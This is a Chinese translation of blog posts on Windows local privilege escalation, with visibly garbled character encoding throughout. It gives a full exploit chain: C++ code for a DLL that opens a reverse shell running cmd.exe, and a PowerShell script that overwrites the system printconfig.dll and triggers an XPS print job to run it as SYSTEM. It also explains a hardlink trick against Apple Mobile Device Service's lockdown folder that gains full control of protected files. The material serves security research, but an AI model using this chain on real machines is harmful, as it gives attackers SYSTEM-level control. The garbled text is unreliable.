任意文件覆蓋一直被視為關(guān)鍵漏洞,因?yàn)樗赡軐?dǎo)致權(quán)限升級(jí)。在Windows系統(tǒng)中,這通常意味著模擬管理員或系統(tǒng)運(yùn)行。
如果標(biāo)準(zhǔn)用戶能夠通過(guò)某種“利用”來(lái)更改特殊受保護(hù)文件的權(quán)限(通過(guò)授予他修改甚至更好的完全控制權(quán)限),則他可以更改目標(biāo)文件的內(nèi)容,以便將惡意代碼注入到服務(wù)可執(zhí)行文件、腳本、dll等。
但是隨著時(shí)間的推移,“利用后”攻擊面受到限制,例如,系統(tǒng)文件受特殊的“受信任的安裝程序”組保護(hù),甚至系統(tǒng)/管理員也只能對(duì)其進(jìn)行讀取和執(zhí)行訪問(wèn)。
不過(guò)最近,攻擊者通過(guò)成功更改System32中“license.rtf”文件的權(quán)限之后,可能使用Forshaw的“ Diaghub Collector利用”,因?yàn)樵撐募皇苁苄湃蔚陌惭b程序的保護(hù)。
第三方軟件始終是一個(gè)選項(xiàng),因?yàn)橥ǔK鼈儾皇?ldquo;受信任的安裝程序”的保護(hù)。攻擊者應(yīng)枚舉所有已安裝的軟件和可執(zhí)行文件,識(shí)別哪些運(yùn)行在高語(yǔ)境(high context)中,以及如何配置它們。一個(gè)典型的例子是服務(wù)可執(zhí)行文件,它以SYSTEM身份運(yùn)行,并且可由標(biāo)準(zhǔn)用戶啟動(dòng)。在我的惠普筆記本電腦上,我擁有滿足所有要求的“惠普軟件框架服務(wù)(HP Software Framework)”,HP Software Framework提供了一套通用的軟件接口,可以集中并簡(jiǎn)化對(duì)硬件、BIOS 和 HP 設(shè)備驅(qū)動(dòng)程序的訪問(wèn)。
另一個(gè)不錯(cuò)的選擇是“ Dropbox Updater Service”,它以每小時(shí)一次的系統(tǒng)權(quán)限(在標(biāo)準(zhǔn)安裝中)作為預(yù)定任務(wù)運(yùn)行。
但是如果攻擊者只想依靠標(biāo)準(zhǔn)的Windows操作系統(tǒng)軟件呢?它變得越來(lái)越困難與微軟補(bǔ)丁,但顯然有一些可能性。例如,還記得“ALPC任務(wù)調(diào)度程序”漏洞嗎?
最終結(jié)果是覆蓋“ Printconfig.dll”,其中SYSTEM擁有完全控制權(quán),啟動(dòng)XPS打印作業(yè)(將加載修改后的Printconfig.dll),并在SYSTEM用戶上下文中執(zhí)行代碼。結(jié)果,它仍然可以使用。
接下來(lái),我將向你展示如何使用相對(duì)簡(jiǎn)單的多合一Powershell腳本從printconfig.dll中“濫用”。
“Microsoft XPS Document Writer”是一種特殊的打印機(jī)驅(qū)動(dòng)程序:“Microsoft XPS文檔編寫器(MXDW)是一種打印到文件的驅(qū)動(dòng)程序,該驅(qū)動(dòng)程序使Windows應(yīng)用程序可以從帶有Service Pack 2(SP2)的Windows XP開(kāi)始的Windows版本上創(chuàng)建XML Paper Specification(XPS)文檔文件。”
這個(gè)驅(qū)動(dòng)程序位于不同的位置(在本例中為Win 2019服務(wù)器):
有趣的是第一個(gè)文件,因?yàn)樗亲钚碌奈募⑶遗c我們的體系結(jié)構(gòu)(X64)相匹配。
因此,如果我們能夠完全控制此文件,則可以使用修改后的dll覆蓋該文件,啟動(dòng)XPS打印作業(yè),該作業(yè)將加載dll并以SYSTEM用戶身份執(zhí)行代碼(例如,反向shell)。
出于保密原因,我不會(huì)告訴你構(gòu)建和編譯DLL,而是向你展示代碼的相關(guān)部分:
#include "stdafx.h"
#include
#include #define _WINSOCK_DEPRECATED_NO_WARNINGS
using namespace std;
void Reverse()
{
WSADATA wsaData;
SOCKET s1;
struct sockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;
launched = TRUE;
WSAStartup(MAKEWORD(2, 2), &wsaData);
s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL,
(unsigned int)NULL, (unsigned int)NULL);
hax.sin_family = AF_INET;
hax.sin_port = htons(4444);
hax.sin_addr.s_addr = inet_addr("127.0.0.1");
WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&sui, 0, sizeof(sui));
sui.cb = sizeof(sui);
sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)s1;
TCHAR commandLine[256] = L"cmd.exe";
CreateProcess(NULL, commandLine, NULL, NULL, TRUE,
0, NULL, NULL, &sui, &pi);
}
extern "C" __declspec (dllexport) bool __cdecl DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved
)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
Reverse();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
加載庫(kù)時(shí)總是調(diào)用DLLMain(),它將在本地主機(jī)端口4444上執(zhí)行我們的反向shell。
我們只需要編譯DLL并將其轉(zhuǎn)換為b64中的二進(jìn)制文件,因?yàn)槲覀儠?huì)將其插入到ps1腳本中:
$FilePath="c:\temp\my.dll"
$ByteArray = [System.IO.File]::ReadAllBytes($FilePath)
$Base64String = [System.Convert]::ToBase64String($ByteArray)
$Base64String | Set-Content -force "out.64"
現(xiàn)在我們的腳本是“xps.ps1”,必須包含一些c#代碼,因?yàn)樗菀渍{(diào)用和操作API函數(shù):
$mycode = @"
using System;
using System.ComponentModel;
using System.IO;
using System.Runtime.InteropServices;
namespace XPS
{
public class XpsPrint
{
public static void StartPrintJob()
{
PrintJob("Microsoft XPS Document Writer", "myjob");
}
public static void PrintJob(string printerName, string jobName)
{
IntPtr completionEvent = CreateEvent(IntPtr.Zero, true, false, null);
if (completionEvent == IntPtr.Zero)
throw new Win32Exception();
try
{
IXpsPrintJob job;
IXpsPrintJobStream jobStream;
StartJob(printerName, jobName, completionEvent, out job, out jobStream);
jobStream.Close();
}
finally
{
if (completionEvent != IntPtr.Zero)
CloseHandle(completionEvent);
}
}
private static void StartJob(string printerName, string jobName, IntPtr completionEvent, out IXpsPrintJob job, out IXpsPrintJobStream jobStream)
{
int result = StartXpsPrintJob(printerName, jobName, null, IntPtr.Zero, completionEvent,
null, 0, out job, out jobStream, IntPtr.Zero);
}
[DllImport("XpsPrint.dll", EntryPoint = "StartXpsPrintJob")]
private static extern int StartXpsPrintJob(
[MarshalAs(UnmanagedType.LPWStr)] String printerName,
[MarshalAs(UnmanagedType.LPWStr)] String jobName,
[MarshalAs(UnmanagedType.LPWStr)] String outputFileName,
IntPtr progressEvent,
IntPtr completionEvent,
[MarshalAs(UnmanagedType.LPArray)] byte[] printablePagesOn,
UInt32 printablePagesOnCount,
out IXpsPrintJob xpsPrintJob,
out IXpsPrintJobStream documentStream,
IntPtr printTicketStream);
[DllImport("Kernel32.dll", SetLastError = true)]
private static extern IntPtr CreateEvent(IntPtr lpEventAttributes, bool bManualReset, bool bInitialState, string lpName);
[DllImport("Kernel32.dll", SetLastError = true, ExactSpelling = true)]
private static extern WAIT_RESULT WaitForSingleObject(IntPtr handle, Int32 milliseconds);
[DllImport("Kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool CloseHandle(IntPtr hObject);
}
[Guid("0C733A30-2A1C-11CE-ADE5-00AA0044773D")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IXpsPrintJobStream
{
void Read([MarshalAs(UnmanagedType.LPArray)] byte[] pv, uint cb, out uint pcbRead);
void Write([MarshalAs(UnmanagedType.LPArray)] byte[] pv, uint cb, out uint pcbWritten);
void Close();
}
[Guid("5ab89b06-8194-425f-ab3b-d7a96e350161")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IXpsPrintJob
{
void Cancel();
void GetJobStatus(out XPS_JOB_STATUS jobStatus);
}
[StructLayout(LayoutKind.Sequential)]
struct XPS_JOB_STATUS
{
public UInt32 jobId;
public Int32 currentDocument;
public Int32 currentPage;
public Int32 currentPageTotal;
public XPS_JOB_COMPLETION completion;
public Int32 jobStatus;
};
enum XPS_JOB_COMPLETION
{
XPS_JOB_IN_PROGRESS = 0,
XPS_JOB_COMPLETED = 1,
XPS_JOB_CANCELLED = 2,
XPS_JOB_FAILED = 3
}
enum WAIT_RESULT
{
WAIT_OBJECT_0 = 0,
WAIT_ABANDONED = 0x80,
WAIT_TIMEOUT = 0x102,
WAIT_FAILED = -1
}
}
"@
## Change this according to your system:
$dllb64="..."
$targetfile="C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_e4ff50d4d5f8b2aa\Amd64\printconfig.dll"
$PEBytes = [System.Convert]::FromBase64String($dllb64)
$PEBytes | Set-Content -force $targetfile -Encoding Byte
add-type -typeDefinition $mycode
[XPS.XpsPrint]::StartPrintJob()
echo "[+] done!"
exit
在$ddlB64變量中,我們將分配之前保存在“out.64”中的dll的b64字符串。
現(xiàn)在,出于測(cè)試目的,以SYSTEM用戶身份,只需更改“ printconfig.dll”的權(quán)限。請(qǐng)記住,要進(jìn)行備份!
讓我們繼續(xù):
是的,它絕對(duì)有效!通過(guò)以沒(méi)有特殊權(quán)限的標(biāo)準(zhǔn)用戶身份啟動(dòng)XPS打印作業(yè),獲得了SYSTEM用戶的反向shell!
為了擺脫文件對(duì)話框,我們可以在StartJob()方法中指定一個(gè)文件名:
private static void StartJob(string printerName, string jobName, IntPtr completionEvent, out IXpsPrintJob job, out IXpsPrintJobStream jobStream)
{
int result = StartXpsPrintJob(printerName, jobName,
"c:\\windows\\temp\\test.txt", IntPtr.Zero, completionEvent,
null, 0, out job, out jobStream, IntPtr.Zero);
}
但你猜怎么著?你將模擬“NT AUTHORITY\LOCAL SERVICE”!
在本例中,將調(diào)用允許后臺(tái)打印XPS文件的驅(qū)動(dòng)程序“printfilterpipelinesvc.exe”,并以“本地服務(wù)”帳戶而非“系統(tǒng)”帳戶運(yùn)行該驅(qū)動(dòng)程序!
但是攻擊者怎么才能覆蓋任意文件?
如上所述,我將通過(guò)一個(gè)真實(shí)的示例向你展示如何利用“Printconfig” dl。但是。這個(gè)iPhone有什么關(guān)系呢?
為此,我特意尋找了可以通過(guò)硬鏈接利用的特權(quán)文件操作。
通過(guò)努力,我們發(fā)現(xiàn)了目錄c:\programdata\apple\lockdown。
iTunes軟件安裝的“蘋果移動(dòng)設(shè)備服務(wù)”使用此文件夾,該服務(wù)以“本地系統(tǒng)”特權(quán)運(yùn)行,負(fù)責(zé)處理通過(guò)USB端口與蘋果設(shè)備(iPhone,iPad等)的通信。
如下所示,標(biāo)準(zhǔn)用戶可以在以下目錄中添加文件:
每次插入新設(shè)備時(shí),驅(qū)動(dòng)程序都會(huì)以< UDID >.plist,在哪里UDID是蘋果設(shè)備的通用ID。
現(xiàn)在,插入我們的蘋果設(shè)備。將生成“配對(duì)證書”,并且在此文件上設(shè)置的權(quán)限如下:
如你所見(jiàn),用戶僅對(duì)此文件具有讀取權(quán)限。
現(xiàn)在你會(huì)發(fā)現(xiàn)一個(gè)有趣的事情,如果你拔下設(shè)備的插頭,然后再次插入,則會(huì)發(fā)生一些神奇的事情,從而授予用戶對(duì)該文件的完全控制權(quán)限:
我們使用Sysinternals的“procmon”工具觀察到這種有趣的行為:
SetSecurity調(diào)用是從提升的上下文(SYSTEM)發(fā)出的,它將授予用戶對(duì)資源的完全控制權(quán)。所以這個(gè)會(huì)不會(huì)成為一個(gè)漏洞,被攻擊者利用呢?
答案是肯定的,只需輸入 “NATIVE HARDLINKS“即可。
標(biāo)準(zhǔn)的Windows用戶不需要特殊的權(quán)限即可創(chuàng)建此類鏈接,我們可以使用Forshaw的實(shí)用程序來(lái)管理它們。
那么,為什么不在此文件上設(shè)置“本機(jī)硬鏈接(“native hardlink”)”,并讓其指向只有SYSTEM才能完全控制的資源呢?
這是我們要做的,將我們的< udid >.plist檔案到License.rtf位于系統(tǒng)32文件夾:
現(xiàn)在,我們只需要插入我們的蘋果設(shè)備即可更改目標(biāo)文件的權(quán)限:
是的,它起作用了!
至此,我們已經(jīng)完成了所有的工作,只需要將目標(biāo)文件更改為printconfig.dll,然后用我們自己的dll覆蓋它,開(kāi)始XPS打印作業(yè),最后享受SYSTEM shell。你可以觀看POC的視頻,鏈接請(qǐng)點(diǎn)擊這里。
邊界條件
1. 你需要在Windows計(jì)算機(jī)上具有用戶shel程序訪問(wèn)權(quán)限;
2. iTunes和Apple Mobile Device Service應(yīng)該一起安裝,為此我們使用最新的iTunes版本(在撰寫本文時(shí)為12.10.3)對(duì)其進(jìn)行了測(cè)試。
3. 出于測(cè)試目的,你需要對(duì)計(jì)算機(jī)進(jìn)行物理訪問(wèn)才能插入蘋果設(shè)備,但這并不是必須的。因?yàn)槟憧梢詣h除* .plist文件,創(chuàng)建指向目標(biāo)dll的相同* .plist文件的硬鏈接,然后等待設(shè)備插件。我們觀察到有時(shí)即使沒(méi)有配對(duì)設(shè)備也會(huì)設(shè)置完全權(quán)限,但是我們需要對(duì)其進(jìn)行更多研究。
注意
在Windows未來(lái)發(fā)布的版本在,通用硬鏈接濫用中將不再起作用。因?yàn)?,在最新?ldquo;Insider”預(yù)覽中,MS添加了一些補(bǔ)充檢查,因此,如果你無(wú)權(quán)訪問(wèn)目標(biāo)文件,則在嘗試創(chuàng)建硬鏈接時(shí)會(huì)收到拒絕訪問(wèn)錯(cuò)誤。
微軟在每一個(gè)新系統(tǒng)正式發(fā)行之前,都會(huì)向開(kāi)發(fā)者提供預(yù)覽版系統(tǒng),以便更快的找到 Bug 并解決。而 Windows Insider 的開(kāi)放注冊(cè)讓更多的人加入到 Windows 10的改進(jìn)和完善的工作中來(lái),讓W(xué)indows 更加適應(yīng)消費(fèi)者的需求。
本文翻譯自:https://decoder.cloud/2019/11/13/from-arbitrary-file-overwrite-to-system/ https://decoder.cloud/2019/12/12/from-iphone-to-nt-authoritysystem/如若轉(zhuǎn)載,請(qǐng)注明原文地址: